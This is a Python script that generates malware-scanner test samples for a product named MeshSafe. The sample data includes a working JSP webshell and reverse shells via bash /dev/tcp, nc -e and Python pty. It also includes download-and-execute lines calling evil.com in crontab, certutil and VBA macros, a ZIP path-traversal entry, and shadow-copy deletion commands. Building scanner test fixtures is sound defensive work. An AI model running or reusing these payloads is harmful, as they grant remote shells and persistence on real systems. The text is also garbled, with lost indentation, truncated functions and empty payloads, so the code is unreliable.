#!/usr/bin/env python3
"""MeshSafe 测试样本生成器。
用法:
python scripts/generate_test_samples.py
输出:
tests/samples/ # 20+ 个测试文件(纯文本 + 合法容器 + 危险特征)
tests/samples/index.json # 元数据:每个样本的 expected_verdict + expected_rules
设计原则:
1. **不生成真实可执行恶意代码** —— 只构造合法容器 + 危险特征字符串
2. **每个样本尽量命中一个检测点** —— 便于定位哪个引擎没工作
3. **含阴性对照** —— 正常 docx/pdf/txt 应 verdict=pass、score=0
4. **覆盖 L0 结构层、L1 ClamAV/YARA/documents、L2 关键词**
"""
from __future__ import annotations
import json
import os
import struct
import zipfile
from pathlib import Path
from typing import Any, Dict, List
SAMPLES_DIR = Path(__file__).resolve().parent.parent / "tests" / "samples"
META_LIST: List[Dict[str, Any]] = []
def ensure_dir() -> None:
SAMPLES_DIR.mkdir(parents=True, exist_ok=True)
for f in SAMPLES_DIR.iterdir():
if f.is_file():
f.unlink()
def write(name: str, data: bytes | str, meta: Dict[str, Any]) -> None:
path = SAMPLES_DIR / name
if isinstance(data, str):
data = data.encode("utf-8")
path.write_bytes(data)
meta.update({"filename": name, "size": len(data)})
META_LIST.append(meta)
# =============================================================================
# 1. PHP / JSP / ASP.NET Webshell(YARA C3 + documents.py)
# =============================================================================
def php_webshell_oneliner() -> None:
write(
"shell_php_eval.php",
'',
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": ["C3_PHP_Webshell_Oneliner"],
"description": "PHP oneliner eval + echo 组合",
},
)
def php_webshell_obfuscated() -> None:
write(
"shell_php_obf.php",
'',
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": ["C3_PHP_Webshell_Obfuscated"],
"description": "PHP base64 + assert 混淆",
},
)
def jsp_webshell_runtime() -> None:
write(
"shell_jsp_runtime.jsp",
"""<%@ page import="java.io.*" %>
<%
Runtime rt = Runtime.getRuntime();
Process p = rt.exec(request.getParameter("cmd"));
InputStreamReader isr = new InputStreamReader(p.getInputStream());
BufferedReader br = new BufferedReader(isr);
String line;
while ((line = br.readLine()) != null) out.println(line);
%>""",
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": ["C3_JSP_Webshell_RuntimeExec"],
"description": "JSP Runtime.getRuntime().exec 命令执行",
},
)
def aspnet_webshell() -> None:
write(
"shell_aspx.aspx",
"""<%@ Page Language="C#" %>
""",
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": ["C3_Webshell_ASPNET"],
"description": "ASP.NET Process.Start 命令执行",
},
)
# =============================================================================
# 2. Shell 反弹 Shell(L0 ShellScriptDangerous + YARA C7)
# =============================================================================
def bash_reverse_devtcp() -> None:
write(
"shell_bash_devtcp.sh",
"""#!/bin/bash
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
""",
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_Bash"],
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
},
)
def nc_reverse_shell() -> None:
write(
"shell_nc.sh",
"""#!/bin/bash
nc 10.0.0.5 4444 -e /bin/bash
""",
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_NC"],
"description": "nc -e /bin/bash 反弹 Shell",
},
)
def python_reverse_pty() -> None:
write(
"shell_python.py",
"""import socket, pty, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.5", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")
""",
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_Python"],
"description": "Python pty + socket 反弹 Shell",
},
)
def crontab_persistence() -> None:
write(
"persist_cron.sh",
"""#!/bin/bash
(crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab -
""",
{
"category": "持久化",
"expected_verdict": "reject",
"expected_rules": ["C7_Linux_Persistence_Crontab"],
"description": "crontab 注入 wget/curl 下载执行",
},
)
# =============================================================================
# 3. ELF + .desktop 恶意 Exec(L0 LinuxExecutable + DesktopFileAutoExec)
# =============================================================================
def fake_elf_binary() -> None:
# 合法 ELF 4 字节魔数 + 反弹 Shell 字符串(YARA 不扫 ELF 内容,structure.py 扫魔数)
elf_header = b"\x7fELF" + b"\x02\x01\x01" + b"\x00" * 8 # 最小 ELF64 header 开头
evil_str = b"\nbash -i >& /dev/tcp/10.0.0.5/4444 0>&1\n"
write(
"linux_malicious",
elf_header + b"\x00" * 16 + evil_str,
{
"category": "Linux可执行",
"expected_verdict": "reject",
"expected_rules": ["LinuxExecutable"],
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
},
)
def desktop_autoexec() -> None:
write(
"malicious.desktop",
"""[Desktop Entry]
Type=Application
Name=Update
Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
Terminal=false
""",
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": ["DesktopFileAutoExec"],
"description": ".desktop 文件恶意 Exec 字段",
},
)
# =============================================================================
# 4. ZIP 路径穿越(L0 PathTraversal)+ 双扩展名伪装 + 畸形文件
# =============================================================================
def zip_path_traversal() -> None:
buf = __import__("io").BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("../../etc/passwd", "hacked:x:0:0:root:/root:/bin/bash\n")
write(
"zip_traversal.zip",
buf.getvalue(),
{
"category": "攻击载体",
"expected_verdict": "reject",
"expected_rules": ["PathTraversal"],
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
},
)
def double_ext_php_jpg() -> None:
# 双扩展名:看起来是 jpg 实际是 php
write(
"photo.jpg.php",
'',
{
"category": "伪装",
"expected_verdict": "reject",
"expected_rules": ["DoubleExtension"],
"description": "双扩展名伪装 .jpg.php",
},
)
def malformed_zip() -> None:
# 合法 ZIP 头 + CRC 错误
buf = __import__("io").BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("good.txt", "hello world")
data = bytearray(buf.getvalue())
# 把 CRC 改掉
idx = data.rfind(b"\x00\x00\x00\x00PK") # EndOfCentralDirectory
# 简单改文件里某个字节
if idx > 0:
data[20] = (data[20] + 1) % 256
write(
"broken.zip",
bytes(data),
{
"category": "畸形文件",
"expected_verdict": "pass",
"expected_rules": [], # 畸形文件降级 MEDIUM,不阻断
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
},
)
# =============================================================================
# 5. PE 恶意程序(YARA C1 —— 构造空壳 PE + 危险 API 字符串)
# =============================================================================
def pe_process_injection() -> None:
# 最小 PE64:MZ header + PE\0\0 + 危险 API 字符串
pe = bytearray(
b"MZ" # DOS header magic
+ b"\x00" * 58 # DOS header padding
+ struct.pack(" None:
pe = bytearray(
b"MZ" + b"\x00" * 58 + struct.pack(" None:
write(
"lolbin.cmd",
"@echo off\ncertutil -decode http://evil.com/payload.bin C:\\Windows\\Temp\\payload.exe && C:\\Windows\\Temp\\payload.exe\n",
{
"category": "LOLBin",
"expected_verdict": "reject",
"expected_rules": ["C1_PE_LOLBin_Usage"],
"description": "certutil -decode LOLBin 下载执行",
},
)
# =============================================================================
# 6. 勒索 / 挖矿(YARA C8)
# =============================================================================
def ransomware_vss() -> None:
write(
"ransom_dropper.exe.txt", # .txt 扩展名,内容勒索特征
b"""CryptEncrypt CryptDeriveKey BCryptEncrypt
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
HOW_TO_RECOVER.html - All your files are encrypted. Send BTC.
""",
{
"category": "勒索",
"expected_verdict": "reject",
"expected_rules": ["C8_Ransomware_Encryption"],
"description": "加密 API + 卷影删除 + 勒索信文件名",
},
)
def xminer_mining() -> None:
write(
"miner_config.json",
b"""{
"pools": ["stratum+tcp://pool.xmrpool.net:3333"],
"username": "4AsMe1",
"donate-level": 5,
"cpu-affinity": true
}""",
{
"category": "挖矿",
"expected_verdict": "reject",
"expected_rules": ["C7_Linux_Miner_Generic"],
"description": "XMRig stratum+tcp 矿池配置",
},
)
# =============================================================================
# 7. 宏 / WPS / PDF(documents.py + YARA C3/C4/C5)
# =============================================================================
def vba_autoexec_shell() -> None:
write(
"vba_autoexec.bas",
"""Sub AutoOpen()
Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\\Windows\\Temp\\a.bat"
End Sub
""",
{
"category": "Office宏",
"expected_verdict": "reject",
"expected_rules": ["VBAAutoExec"],
"description": "VBA AutoOpen + Shell 执行",
},
)
def vba_autoexec_wps_linux() -> None:
write(
"wps_macro.js", # WPS Linux 宏是 JS
"""function AutoOpen() {
var sh = new ActiveXObject("Wscript.Shell");
sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'");
}
""",
{
"category": "WPS宏",
"expected_verdict": "reject",
"expected_rules": ["VBAAutoExecShell"],
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh",
},
)
def pdf_javascript_openaction() -> None:
# 构造最小 PDF + /OpenAction /JS app.launchURL
pdf = b"""%%PDF-1.4
1 0 obj
<>>
endobj
2 0 obj
<>
endobj
3 0 obj
<>
endobj
4 0 obj
<>
endobj
5 0 obj
<>
stream
endstream
endobj
xref
0 6
0000000000 65535 f
0000000011 00000 n
0000000120 00000 n
0000000200 00000 n
0000000320 00000 n
0000000450 00000 n
trailer
<>
startxref
500
%%EOF
"""
write(
"malicious.pdf",
bytes(pdf),
{
"category": "PDF载荷",
"expected_verdict": "reject",
"expected_rules": ["PdfJavaScript", "PdfOpenAction"],
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
},
)
# =============================================================================
# 8. ISO 9660 含可执行 / LNK Shell Link / CHM
# =============================================================================
def iso_with_elf() -> None:
# 最小 ISO 9660 PVD 构造
iso = bytearray(32768)
# PVD 在 LBA 16 = byte 32768,但我们构造最简
# 直接填 PVD 签名 + 一个包含 ELF 的路径
pvd_offset = 32768
iso[pvd_offset + 0x00: pvd_offset + 0x01] = b"\x01"
iso[pvd_offset + 0x01: pvd_offset + 0x06] = b"CD001"
iso[pvd_offset + 0x06: pvd_offset + 0x07] = b"\x01"
# 根目录 + 一个假 ELF
elf_content = b"\x7fELF\x02\x01\x01" + b"\x00" * 24 + b"bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"
# 把 ELF 放到 LBA 256
elf_lba = 256
elf_offset = elf_lba * 2048
if elf_offset + len(elf_content) < len(iso):
iso[elf_offset: elf_offset + len(elf_content)] = elf_content
write(
"evil.iso",
bytes(iso),
{
"category": "ISO镜像",
"expected_verdict": "reject",
"expected_rules": ["IsoWithExecutable"],
"description": "ISO 镜像内嵌 ELF 可执行文件",
},
)
def lnk_shell_link() -> None:
# LNK Shell Link 最小构造(MS-SHLLINK)
lnk = bytearray(256)
# HeaderSize = 76
struct.pack_into(" None:
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr(
"word/document.xml",
"""
这是一个正常的 Word 文档,不含宏、不含外链。
""",
)
zf.writestr(
"[Content_Types].xml",
"""
""",
)
zf.writestr("_rels/.rels", """
""")
write(
"normal_report.docx",
buf.getvalue(),
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常 Word 文档(无宏、无外链)",
},
)
def normal_txt() -> None:
write(
"normal_readme.txt",
"""这是一个正常的文本文件。
没有任何危险特征:没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。
仅供内部参考。
""",
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常纯文本文件",
},
)
def normal_shell() -> None:
write(
"normal_deploy.sh",
"""#!/bin/bash
# 正常部署脚本,只有 git clone + npm install
set -e
git clone https://github.com/example/project.git
cd project
npm install
npm start
""",
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常部署 Shell(没有 curl|bash 管道执行或反弹 Shell)",
},
)
def normal_pdf() -> None:
pdf = b"""%%PDF-1.4
1 0 obj
<>
endobj
2 0 obj
<>
endobj
3 0 obj
<>
endobj
4 0 obj
<>
stream
BT /F1 12 Tf 100 700 Td (Hello World) Tj ET
endstream
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000110 00000 n
0000000200 00000 n
trailer
<>
startxref
300
%%EOF
"""
write(
"normal.pdf",
bytes(pdf),
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
},
)
# =============================================================================
# 10. CHM(HTML Help)带脚本 —— 触发 ChmWithScript 零容忍
# =============================================================================
def chm_with_script() -> None:
"""构造 ITSF 容器 + 内嵌 HTML 带 "
+ b""
+ b'download evil.exe'
+ b'run payload.vbs'
+ b'execute dropper.js'
+ b"